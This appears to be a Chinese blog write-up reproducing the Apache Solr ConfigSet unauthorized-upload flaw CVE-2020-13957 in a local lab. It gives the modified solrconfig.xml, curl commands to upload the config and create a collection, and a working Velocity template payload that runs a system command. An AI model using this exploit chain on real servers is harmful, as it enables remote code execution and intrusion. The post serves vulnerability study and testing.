• 【漏洞复现】CVE-2020-13957|Apache Solr ConfigSet API未授权上传漏洞


    写在前面

    复现时发现不需要通过baseConfigSet基于恶意配置创建新的配置即可完成复现,并不是很多文章说需要二次创建恶意配置,有师傅也表达了自己的疑问,后面再单独写分析的文章,这篇在草稿箱躺太久了。

    准备环境

    下载

    CVE-2020-13957影响范围: Apache Solr 6.6.0 to 6.6.5、7.0.0 to 7.7.3、8.0.0 to 8.6.2
    官方下载地址:Apache-Solr,本次漏洞复现下载影响范围内的8.0.0,解压既用。

    启动

    该漏洞需要以cloud模式运行Solr,同时Solr-API不能开启认证
    ./solr start -e cloud #cloud模式启动
    ./solr stop -all #需要重启时可用该命令停止全部solr进程

    利用思路

    利用UPLOAD上传恶意配置->用恶意配置创建新的collection->执行RCE,由于ConfigSet API存在未授权上传漏洞,可以利用该漏洞实现远程代码执行。

    准备攻击配置文件并打包

    进入/solr-8.0.0/server/solr/configsets/sample_techproducts_configs/conf/目录下修改solrconfig.xml如下内容:

    原配置内容:
    <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
    <str name="template.base.dir">${velocity.template.base.dir:}</str>
    </queryResponseWriter>
    
    修改后:
    <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
    <str name="template.base.dir">${velocity.template.base.dir:}</str>
    <str name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
    <str name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str>
    </queryResponseWriter>
    

    修改完成后在当前目录下打包即可:zip -r -* > myconfig.zip

    漏洞复现

    1.上传恶意配置,通过UPLOAD上传刚刚打包好的myconfig.zip,并命名为myconfignew。
    curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfig.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=myconfignew"
    2.创建collection,利用刚刚上传并命名的myconfignew来CREATE一个新的collection:mytestcollection。
    curl -v "http://localhost:8983/solr/admin/collections?action=CREATE&name=mytestcollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myconfignew"
    3.利用

    GET /solr/mytestcollection/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end  HTTP/1.1
    Host: 127.0.0.1:8983
    Content-Type: application/json
    Content-Length: 0
    

    参考

    [1]https://github.com/Imanfeng/Apache-Solr-RCE
    [2]https://www.safedog.cn/news.html?id=4515

  • 相关阅读:
    HTML5 闹钟例子程序
    程序员书籍,你值得收藏
    mybatis入门案例测试常见问题以及解决方法
    jquery对Select标签的操作
    Linux下mysql整库备份
    Windows 命令提示符下查看 apache 错误的方法
    将 DataTable 转化为 Excel Xml 格式供下载
    Infragistics netadvantage UltraGrid (UltraWinGrid) 编程手记
    报表设计技巧交叉报表模板
    Gentle.NET Users' Guide
  • 原文地址:https://www.cnblogs.com/303donatello/p/13848897.html
Copyright © 2020-2023  润新知